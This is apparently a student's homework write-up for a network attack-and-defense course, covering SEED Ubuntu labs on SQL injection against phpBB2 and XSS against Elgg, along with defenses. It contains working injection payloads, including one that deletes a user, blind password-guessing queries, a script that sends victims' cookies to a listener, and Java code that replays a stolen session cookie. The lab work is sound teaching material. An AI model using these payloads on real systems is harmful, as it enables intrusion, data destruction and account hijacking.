• 20199302 2019-2020-2 《网络攻防实践》第11周作业


    作业所属课程:https://edu.cnblogs.com/campus/besti/19attackdefense/
    作业要求:https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10737

    实践内容

    SQL注入

    原理:web应用程序数据层存在的输入验证不完善型安全漏洞,用户输入没有被有效过滤以消除SQL语言中的字符串转义字符。
    未进行严格的数据类型判断,使得用户可以输入执行一些非预期的SQL指令代码
    如在一个有user和passwd的登录表单中:
    1、select * from users where username=’(huangrong‘ or '1'='1)' and passwd = '(huangrong' or '1'='1)'
    括号中为用户输入到username和password的两部分内容,结果等价于select * from users
    2、支持多条SQL同时执行的数据库中
    select * from users where username=’(x' or '1'='1' and passwd='huangrong' or '1'='1';drop table users)‘
    括号中为用户输入
    3、没有对用户输入数据类型进行约束

    SQL注入攻击步骤和过程

    1、发现SQL注入点
    常见SQL注入点存在于http://site/xxx.asp?some_rec=yyy的动态网页中
    只要某些参数用于生成SQL语句访问数据库,就可能存在SQL注入。
    判断一个网页是否存在SQL注入点
    整型参数
    (1)将原来的yyy改为yyy',会因为数据类型不符合造成sql语句错误,动态页面会返回错误提示信息。
    (2)将yyy改为yyy and 1=1 返回正常
    (3)将yyy改为yyy and 1=2 返回空白页或者错误提示
    符合上面三条,则为对整数类型输入缺乏严格的类型检查

    字符串的参数
    (1)将yyy改为yyy’,因为引号不匹配,提示错误
    (2)将yyy改为yyy' and '1'='1 正常
    (3)将yyy改为yyy’ and '1'='2' 返回错误或空白页面
    符合上面三条,则为对字符串类型输入缺乏对转义字符的严格检查与过滤

    (2)判断后台数据库类型
    1)利用数据库服务器的系统变量进行判断
    SQL Server有user和db_name()等系统变量
    MySQL有basedir等系统变量
    执行http://site/xxx.asp?some_rec=yyy and db_name()>0进行判断
    2)利用数据库服务器的系统表进行判断
    ACCESS的系统表是msysobjects,在web环境下没有访问权限
    SQL Server系统表为sysobjects,web环境下有访问权限
    http://site/xxx.asp?some_rec=yyy and (select count() from sysobjects)>0
    http://site/xxx.asp?some_rec=yyy and (select count(
    ) from msysobjects)>0
    第一句正常说明是SQL Server,两条都异常,说明是ACCESS
    3)后台数据库中管理员口令自猜解
    表名、字段名、用户名和口令猜解
    利用形如http://site/xxx.asp?some_rec=yyy and (select count(*) from guess_RECNAME)>0的语句进行表名和字段名的判断。
    其中,对于用户名和口令字段猜测,首先猜解用户名字段长度
    http://site/xxx.asp?some_rec=yyy and (select top 1 len(username) from msysobjects)>length
    获得字符长度之后,进行逐字猜解
    加快速度,二分法
    截取第N位字符
    http://site/xxx.asp?some_rec=yyy and (select top 1 asc(mid(username,N,1) from table_name))>ascii_num
    4)上传ASP后门,得到默认账户权限

    防范措施

    1、使用类型安全的参数编码机制
    2、对用户输入进行完备性检查,限制使用包含非法字符
    3、将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象
    4、加强SQL数据库服务器配置与连接:数据库中不放铭文口令、最小权限原则配置web应用程序连接数据库的查询操作权限,提示错误内容应尽可能不泄露有用的信息。

    XSS攻击

    1、目标:web应用程序用户
    2、漏洞原因:web应用程序对用户输入内容的安全验证与过滤不够完善。
    3、攻击原理:利用web应用程序中的安全漏洞,在服务器端网页中插入一些恶意的客户端脚本代码,在web服务器上产生出一些恶意攻击页面。
    4、攻击方法
    绕过客户端安全策略访问敏感信息
    窃取或修改会话cookie
    进行客户端渗透攻击获取访问权限
    5、攻击类型
    (1)持久性XSS漏洞(存储型XSS漏洞)
    可以将用户输入持久性地保存在web服务器端。
    还可以被设计成具备跨用户进行自我传播能力的XSS蠕虫
    (2)非持久性XSS漏洞(反射XSS漏洞)当web浏览器在http请求参数或HTML提交表单中提供的数据,被立即由服务器端脚本使用产生一个提供给用户的结果页面。
    攻击步骤
    1)攻击者构造出一个包含恶意脚本的bank.com登录请求连接,并通过email/http等方式将该攻击链接发sing给其他bank.com网站用户
    2)受害用户点击攻击链接后,将会把恶意链接中包含的恶意脚本当做用户名参数提交给bank.com的登录处理网页。
    3)由于bank.COM登录处理页面存在XSS漏洞,将会在反馈的欢迎页面中包含恶意客户端脚本。
    4)攻击者的恶意客户端脚本在受害用户浏览器中执行,通常会驱动浏览器向攻击者发送会话令牌,如会话id、cookie等。
    5)攻击者获得会话令牌之后,就可以劫持用户会话,或伪造用户登录bank.com并可实施进一步攻击。
    (3)基于DOM的XSS

    防范措施

    1、服务器端防范措施
    (1)输入验证
    数据长度、类型、是否包括非法字符
    (2)输出净化
    web应用程序对要显示的数据进行html编码,净化可能的恶意字符,将所有数据当做数据而非结构。
    (3)消除危险的输入点
    避免直接在现有的JavaScript中插入用户可控制的数据
    2、客户端防范措施
    提高浏览器访问非授信网站时的安全等级
    关闭cookie功能或设为只读
    采用chrome等非主流的安全浏览器

    实践过程

    实验环境

    SEED Ubuntu镜像

    环境配置

    实验需要三样东西,Firefox、apache、phpBB2(镜像中已有):
    ①运行Apache Server:镜像已经安装,只需运行命令%sudo service apache2 start
    ②phpBB2 web应用:镜像已经安装
    ③配置DNS:上述的URL仅仅在镜像内部可以访问,原因是我们修改了/etc/hosts
    文件使http://www.sqllabmysqlphpbb.com指向本机IP 127.0.0.1。如果需要在其他机器访
    问,应该修改hosts文件,使URL映射到phpBB2所在机器的IP。

    关闭对抗措施

    PHP提供了自动对抗SQL注入的机制,被称为magic quote,我们需要关闭它。
    1.找到/etc/php5/apache2/php.ini
    2.找到magic_quotes_gpc = On这一行
    3.改为magic_quotes_gpc = Off
    4.重启Apache:”sudo service apache2 restart”

    最好拥有一些背景知识

    1.使用虚拟机,Firefox的插件LiveHttpHeaders和Tamper Data
    2.对SQL语句的一些了解
    3.如何操作MySQL数据库
    4.对PHP一些了解
    启动apache:

    任务一
    1、在SELECT语句中实施注入攻击
    通过www.sqllabmysqlphpbb.com访问一个使用MySQL数据库配置的web应用phpBB2,系统会出现登录界面,

    login.php将在服务端处理授权。登录页面的查询使用SQL语句:

    其中,USER_TABLE会被替换为用户表名:phpbb_user,$username是用户输入的username,$password是用户输入的password
    (1)是否在不知道别人的密码的情况下,登录该账号?
    (2)是否可以使用上述SQL查询修改数据库,如:添加一个新用户到数据库,或者删除已有的数据?如果不可以,也请给出尝试,失败原因,以及MySQL中的防范这种注入攻击的机制。
    2、通过UPDATE语句进行SQL注入
    当用户要修改个人信息时,可以点击Profile链接,在include/usercp_register.php中有一个UPDATE语句,可以用于修改当前用户在phpbb_user表中的个人信息。在SQL语句中有一个SQL注入漏洞,请发现这个漏洞,然后在不知道其他用户密码的情况下修改该用户的信息,修改完成后,你要能够登陆该账号。
    3、防范措施
    SQL注入漏洞的发生是因为没有将代码和数据分离,当创建一个SQL语句时,php能够分清数据和代码,但是当SQL语句在SQL语句中执行时,数据和代码之间的界限就被模糊了。为了解决这个问题,可以使用以下方法:
    (1)使用get_magic_quotes_gpc()转义字符。在/etc/php5/apache2/php.ini文件中,magic_quotes_gpc=on之后还要重启服务器,sudo service apache2 restart查看该选项on和off有什么区别(因为可移植性差,和性能问题在php5.3.0以后被弃用)
    (2)使用addslashes()转义特殊字符。该函数在/var/www/SQL/SQLLabMysqlPhpbb文件夹下的common.php文件(被login.php所包含)中,我们注释掉了phpBB2中的保护,使SQL注入成为可能。请将保护重新打开,通过从下面的行中删除“and FALSE”(我们添加了“and FALSE”以绕过这段代码)来查看差异。请描述这个保护方案如何帮助抵御您的SQL注入攻击:
    if(!get_magic_quotes_gpc() and FALSE)
    (3)使用mysql_real_escape_string转义特殊字符。数据库转义字符机制,关闭其他预防机制,使用这个方法抵抗SQL注入。
    (4)预先发送SQL语句,这种方式更常用。

    将后续填入的全部按照数据处理,其中第一个参数“si”表示第二个参数是string类型,第二个参数是整数类型。
    4、提示
    输出调试信息。
    (1)输出全部信息:

    $fh = fopen($myFile,'a') or die("can't open file);
    $Data = "a string";
    fwrite($fh,$Data,"
    ");
    fclose($fh);
    

    (2)火狐插件
    Tamper Data,允许在发送http请求到服务器之前更改数据,需要火狐3.5版本以上。

    1、在SELECT语句中实施注入攻击
    启动apache:

    (1)在不知道alice的密码情况下登录该账号
    登录界面

    对注入点判断为补充内容,使用的与实施攻击的系统不一样,但情况应该是一样的
    判断是否为SQL注入点
    在username中输入alice',提示错误:

    输入alice' and '1'='1,正常提示用户不存在:

    输入alice' and '1'='2时,也是现实用户不存在,那么就不能根据这三点判断它是一个SQL注入点。
    查看该页面源代码

    查看密码比对处的SQL查询语句,只要将对密码的比对语句注释掉即可。

    登录成功

    追加SQL语句,在用户表中删除名为ted的用户
    alice',delete from USERS_TABLE WHERE username='ted';#

    失败原因:MySQL禁止从php调用多个SQL语句执行。

    2、UPDATE 登录alice修改ted的密码

    然后点到profile页面
    看到页面的链接


    由此找到profile.php源代码,但是其中没有找到,但是有根据mode进行判断之后处理的代码,再看页面上mode为editprofile,找到这个语句

    这是一个嵌入模块。在相应的位置找到了update语句

    因为数据库中存储的密码为md5,所以先得到将要设为密码的md5值

    输入SQL语句:

    成功

    3、对抗SQL注入攻击
    (1)第一种方法不再尝试,因为之前因为没有关掉这个选项,导致SQL注入不成功。
    (2)使用了tamper data,对提交的数据进行截取,没有发现on和off有什么区别,查了一些资料,暂时没有找到相关内容,没整明白。
    (3)看了新版的seedUbuntu之后的补充对于第四种SQL语句预处理的方法,我在新版的seedUbuntu中,看到项目文件中有个文件safe_home.php,里面就是使用的预处理方法保证了抗xss攻击的方法。
    对于select语句

    而那些变量,通过json从用户输入框中传过来,指明两个数据都是string类型,这样会将传过来的数据当做一个完整的整体作为内容。

    获取到的内容,作为第二次传递的数据

    对于update语句

    任务二
    XSS攻击
    1、(1)弹出'XSS'
    alice(密码:seedalice)在修改个人信息界面,注入脚本,弹出窗口

    保存会重新刷新界面,就可以看到效果(与用samy登录看到的一样):

    原因:在写入数据时,没有对用户的输入进行检查,在呈现界面的时候,没有进行净化。
    (2)弹出被攻击者的cookie
    将脚本改成

    samy登录之后:

    2、窃取受害人的cookie
    使用脚本:document.write('<img src=http://127.0.0.1:5555?c='+escape(document.cookie)+'>')

    使用nc对本机的5555端口进行监听并显示详细信息,之后登录samy查看alice主页

    或者使用tcp server获取5555端口上的数据。
    3、利用cookie仿冒受害主机
    使用java编写

    import java.net.*;
    
    public class Xss_Modify {
    	public static void main(String[] args) throws IOException{
    		// TODO Auto-generated method stub
    		try {
    			int responseCode;
    			InputStream responseIn = null;
    			URL url = new URL("http://www.xsslabelgg.com/action/blog/save");//要forge的url
    			URLConnection urlConn = url.openConnection();
    			if(urlConn instanceof HttpURLConnection){
    				urlConn.setConnectTimeout(60000);
    				urlConn.setReadTimeout(90000);
    			}
    			//根据在live http header中的内容进行代码编写
    			urlConn.addRequestProperty("User-Agent", "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0");
    			urlConn.addRequestProperty("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
    			urlConn.addRequestProperty("Accept-Language", "en-US,en;q=0.5");
    			urlConn.addRequestProperty("Accept-Encoding", "gzip,deflate");
    			urlConn.addRequestProperty("Keep-Alive", "300");
    			urlConn.addRequestProperty("Referer", "http://www.xsslabelgg.com/blog/add/44");
    			urlConn.addRequestProperty("Content-Type", "application/x-www-form-urlencoded");
    			urlConn.addRequestProperty("Connection", "keep-alive");
    			urlConn.addRequestProperty("Cookie", "2fqvq29ftt35l18pbha15afm32");//得到的cookie
    			String data = "";//构造帖子的内容
    			urlConn.setDoOutput(true);
    			OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream());
    			wr.write(data);
    			wr.flush();
    			urlConn.connect();
    			if(urlConn instanceof HttpURLConnection){
    				HttpURLConnection httpConn = (HttpURLConnection) urlConn;
    				responseCode = httpConn.getResponseCode();
    				System.out.println("ResponseCode="+responseCode);
    				if(responseCode == HttpURLConnection.HTTP_OK){
    					responseIn = urlConn.getInputStream();
    					BufferedReader buf_inp = new BufferedReader(new InputStreamReader(responseIn));
    					String inputLine;
    					while((inputLine = buf_inp.readLine()) != null){
    						System.out.println(inputLine);
    					}
    				}
    			}
    			
    		} catch (MalformedURLException e) {
    			// TODO: handle exception
    			e.printStackTrace();
    		}
    	}
    }
    

    由于还没有搞清楚发帖的内容(String data)不知道怎么写,先搁置了。

    用新版本上的一个假冒的题代替:
    首先通过HTTP Header Live查看添加好友的操作需要什么东西,具体查看http请求头部分,

    需要知道要加的好友的id,elgg_ts和elgg_token
    脚本内容

    samy查看alice的信息后

    遇到的问题

    1、忘了关掉防范措施,导致不成功
    2、在修改ted的密码时,出现的错误提示

    是因为字段匹配不正确,密码对应的应该是user_password
    3、123456的MD5值产生有问题,没有加-n参数不换行输出。

    心得体会

    夫君子之行,静以修身,俭以养德。

  • 相关阅读:
    静态成员 执行顺序
    排序之插入排序
    结构体字节对齐问题
    建模基础&UML
    C#中隐藏(new)和方法重载(overide)的区别
    培训记录
    C笔记
    用例
    .NET架构
    C#格式化日期
  • 原文地址:https://www.cnblogs.com/eosmomo/p/12882461.html
Copyright © 2020-2023  润新知